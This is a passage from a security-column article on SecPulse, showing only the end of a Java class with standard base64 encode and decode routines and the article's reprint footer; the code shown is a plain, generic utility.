= (byte)base64[(b0 << 4 & 0x3F) | b2 >> 4]; dst[dp++] = (byte)base64[b2 << 2 & 0x3F]; if (doPadding) { dst[dp++] = 61; } } } return new String(dst); } public byte[] base64Decode(final String base64Str) { if (base64Str.length() == 0) { return new byte[0]; } final byte[] src = base64Str.getBytes(); int sp = 0; final int sl = src.length; int paddings = 0; final int len = sl - sp; if (src[sl - 1] == 61) { ++paddings; if (src[sl - 2] == 61) { ++paddings; } } if (paddings == 0 && (len & 0x3) != 0x0) { paddings = 4 - (len & 0x3); } byte[] dst = new byte[3 * ((len + 3) / 4) - paddings]; final int[] base64 = new int[256]; Arrays.fill(base64, -1); for (int i = 0; i < this.toBase64.length; ++i) { base64[this.toBase64[i]] = i; } base64[61] = -2; int dp = 0; int bits = 0; int shiftto = 18; while (sp < sl) { int b = src[sp++] & 0xFF; if ((b = base64[b]) < 0 && b == -2) { if ((shiftto == 6 && (sp == sl || src[sp++] != 61)) || shiftto == 18) { throw new IllegalArgumentException("Input byte array has wrong 4-byte ending unit"); } break; } else { bits |= b << shiftto; shiftto -= 6; if (shiftto >= 0) { continue; } dst[dp++] = (byte)(bits >> 16); dst[dp++] = (byte)(bits >> 8); dst[dp++] = (byte)bits; shiftto = 18; bits = 0; } } if (shiftto == 6) { dst[dp++] = (byte)(bits >> 16); } else if (shiftto == 0) { dst[dp++] = (byte)(bits >> 16); dst[dp++] = (byte)(bits >> 8); } else if (shiftto == 12) { throw new IllegalArgumentException("Last unit does not have enough valid bits"); } if (dp != dst.length) { final byte[] arrayOfByte = new byte[dp]; System.arraycopy(dst, 0, arrayOfByte, 0, Math.min(dst.length, dp)); dst = arrayOfByte; } return dst; } }
本文作者:未来智安科技
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/160830.html